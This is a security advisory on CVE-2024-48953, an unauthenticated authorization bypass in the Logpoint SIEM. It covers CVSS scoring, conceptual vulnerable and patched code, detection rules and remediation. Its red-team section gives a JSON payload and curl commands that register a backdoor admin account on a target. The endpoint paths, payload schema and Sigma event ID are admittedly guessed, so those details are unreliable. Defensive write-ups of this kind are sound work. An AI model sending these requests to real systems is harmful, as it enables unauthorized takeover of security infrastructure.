CVE-2024-48953

Executive Summary

CVE-2024-48953 is a critical authorization bypass vulnerability in Logpoint, a Security Information and Event Management (SIEM) platform. The flaw resides in the endpoints responsible for creating, editing, or deleting third-party authentication modules. Due to missing authorization checks, an unauthenticated attacker can register their own authentication plugins, effectively bypassing the intended authentication mechanism and gaining unauthorized access to the Logpoint system. This could lead to full compromise of the SIEM environment, including access to sensitive log data, configuration changes, and potential lateral movement within the network. The vulnerability affects all versions prior to Logpoint 7.5.0. No public exploit code or proof-of-concept is currently available, but the risk is significant due to the potential for complete system takeover.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the Logpoint application itself. The risk is primarily to organizations that have deployed Logpoint on-premises or in a private cloud. The supply chain risk is limited to the Logpoint software distribution itself; organizations should ensure they are using a legitimate, unmodified version of Logpoint from the vendor.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any prior authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerability does not affect resources beyond the Logpoint application.
• Confidentiality (C): High – An attacker can access all log data and system configurations.
• Integrity (I): High – An attacker can modify authentication modules and system settings.
• Availability (A): High – An attacker could disrupt the Logpoint service.

Threat Level: Critical – The combination of network exploitability, no authentication required, and high impact on confidentiality, integrity, and availability makes this a critical vulnerability.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authorization (CWE-862) . Logpoint provides endpoints for managing third-party authentication modules (e.g., LDAP, SAML, OAuth). These endpoints are intended to be accessible only to authenticated administrators. However, due to a lack of proper authorization checks, the endpoints are exposed to unauthenticated users.

Technical Mechanics:

1. Endpoint Exposure: The REST API endpoints for creating, editing, and deleting third-party authentication modules (e.g., /api/auth/modules, /api/auth/modules/{id}) do not verify the user's session or authentication token.
2. Plugin Registration: An unauthenticated attacker can send a POST request to the creation endpoint with a payload defining a new authentication plugin. This plugin could be configured to accept any credentials or to redirect authentication to an attacker-controlled server.
3. Authentication Bypass: Once the malicious plugin is registered, the attacker can use it to authenticate to Logpoint. The system will accept the attacker's credentials (or bypass authentication entirely) based on the plugin's configuration.
4. Full Access: After successful authentication, the attacker gains the privileges associated with the user account they used (or potentially administrative privileges if the plugin is configured to grant them). This allows access to all log data, dashboards, alerts, and system settings.

Root Cause: The development team likely assumed that the endpoints would only be reachable by authenticated users due to a global authentication filter. However, the specific endpoints for authentication modules were inadvertently excluded from this filter, or the filter was not applied correctly.

Vulnerable vs. Patched Code

Since the exact source code is not publicly available, the following is a conceptual representation of the vulnerability and its fix.

Vulnerable Code (Conceptual - Python/Flask):

from flask import Flask, request, jsonify

app = Flask(__name__)

# Missing authentication decorator
@app.route('/api/auth/modules', methods=['POST'])
def create_auth_module():
    data = request.get_json()
    # Directly creates a new authentication module without checking user session
    module_id = database.insert_auth_module(data)
    return jsonify({"id": module_id}), 201

@app.route('/api/auth/modules/<module_id>', methods=['PUT', 'DELETE'])
def modify_auth_module(module_id):
    data = request.get_json()
    # Directly modifies or deletes the module without authorization
    database.update_auth_module(module_id, data)
    return jsonify({"status": "success"}), 200

Patched Code (Conceptual):

from flask import Flask, request, jsonify, abort
from functools import wraps

app = Flask(__name__)

def require_admin(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        # Check for a valid admin session token
        token = request.headers.get('Authorization')
        if not token or not validate_admin_token(token):
            abort(401)  # Unauthorized
        return f(*args, **kwargs)
    return decorated_function

@app.route('/api/auth/modules', methods=['POST'])
@require_admin
def create_auth_module():
    data = request.get_json()
    module_id = database.insert_auth_module(data)
    return jsonify({"id": module_id}), 201

@app.route('/api/auth/modules/<module_id>', methods=['PUT', 'DELETE'])
@require_admin
def modify_auth_module(module_id):
    data = request.get_json()
    database.update_auth_module(module_id, data)
    return jsonify({"status": "success"}), 200

Key Difference: The patched code adds a @require_admin decorator that validates the user's authentication token before allowing any modifications to authentication modules. This ensures that only authenticated administrators can perform these actions.

Exploitation & Lab Setup

Red Team

Objective: Gain unauthorized access to a Logpoint instance.

Prerequisites:

• A target Logpoint instance (version < 7.5.0) accessible over the network.
• Knowledge of the API endpoint for creating authentication modules (e.g., /api/auth/modules).

Exploitation Steps:

1. Reconnaissance: Identify the Logpoint API endpoint. This can be done by examining the web application's JavaScript files or using a tool like Burp Suite to proxy traffic.
2. Craft Malicious Payload: Create a JSON payload for a new authentication module. The payload should define a module that accepts any credentials. For example:

   {
     "name": "BackdoorAuth",
     "type": "local",
     "config": {
       "users": [
         {
           "username": "attacker",
           "password": "attacker123",
           "role": "admin"
         }
       ]
     }
   }
   

   Note: The exact payload structure will depend on Logpoint's API schema. This is a simplified example.
3. Send Unauthenticated Request: Use curl or a similar tool to send a POST request to the endpoint without any authentication headers.

   curl -X POST https://target-logpoint/api/auth/modules \
     -H "Content-Type: application/json" \
     -d '{"name": "BackdoorAuth", "type": "local", "config": {"users": [{"username": "attacker", "password": "attacker123", "role": "admin"}]}}'
   

4. Authenticate: Use the newly created credentials to log in to Logpoint.

   curl -X POST https://target-logpoint/api/login \
     -H "Content-Type: application/json" \
     -d '{"username": "attacker", "password": "attacker123"}'
   

5. Access System: Once authenticated, the attacker can access all Logpoint features, including log search, dashboards, and system configuration.

Blue Team

Detection and Response:

1. Monitor API Logs: Enable detailed logging for all API requests to Logpoint. Look for POST requests to /api/auth/modules or similar endpoints that originate from IP addresses not associated with known administrators.
2. Alert on Unauthorized Module Creation: Create a detection rule that triggers an alert whenever a new authentication module is created, especially if it is created outside of normal business hours or by an unexpected user.
3. Review Authentication Modules: Regularly audit the list of configured authentication modules. Look for any modules with suspicious names or configurations (e.g., modules that accept any credentials).
4. Network Segmentation: Ensure that the Logpoint management interface is not exposed to the public internet. Use firewalls and VPNs to restrict access to trusted networks.
5. Incident Response: If a malicious module is detected:
   • Immediately delete the module via the admin interface.
   • Revoke any sessions that may have been created using the backdoor.
   • Investigate the source IP address and any other actions taken by the attacker.
   • Rotate all credentials and API keys that may have been compromised.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual POST requests to /api/auth/modules from unknown IP addresses.
  • Authentication attempts using usernames that do not match any known user accounts.
  • Traffic to/from IP addresses associated with the attacker's infrastructure.

• System IOCs:

  • Presence of unexpected authentication modules in the Logpoint configuration.
  • New user accounts with administrative privileges that were not created by an administrator.
  • Unusual log entries indicating authentication via a non-standard module.

• File IOCs:

  • Modified configuration files related to authentication (e.g., auth_modules.json, settings.py).
  • New files in the Logpoint installation directory that are not part of the official distribution.

Detection Engineering

YARA Rule

rule Detect_Logpoint_Backdoor_Module {
    meta:
        description = "Detects suspicious authentication module configurations in Logpoint"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-48953"
    strings:
        $s1 = "auth_modules" nocase
        $s2 = "type" nocase
        $s3 = "local" nocase
        $s4 = "password" nocase
        $s5 = "role" nocase
        $s6 = "admin" nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: Logpoint Unauthorized Authentication Module Creation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to create a new authentication module in Logpoint without proper authorization.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48953
author: Valters IT
date: 2024/10/27
logsource:
    category: application
    product: logpoint
detection:
    selection:
        EventID: 1001  # Hypothetical event ID for API request
        RequestMethod: 'POST'
        RequestPath: '/api/auth/modules'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-48953 - Logpoint Unauthorized Auth Module Creation";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/auth/modules";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-48953;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Logpoint: The primary remediation is to upgrade to Logpoint version 7.5.0 or later. This version includes the necessary authorization checks for the authentication module endpoints.
2. Apply Workaround: If an immediate upgrade is not possible, restrict network access to the Logpoint management interface. Use a firewall or reverse proxy to allow only trusted IP addresses to access the API endpoints.
3. Review Existing Modules: Immediately audit all configured authentication modules. Remove any that are not recognized or that appear suspicious.

Long-Term Mitigations:

1. Principle of Least Privilege: Ensure that only authorized administrators have access to the Logpoint management interface.
2. Regular Security Audits: Conduct regular security audits of the Logpoint configuration and API endpoints.
3. Web Application Firewall (WAF): Deploy a WAF in front of Logpoint to block malicious requests, such as those targeting the authentication module endpoints.
4. Monitoring and Alerting: Implement robust monitoring and alerting for any changes to authentication configurations.
5. Vendor Communication: Stay informed about security advisories from Logpoint and apply patches promptly.

Valters IT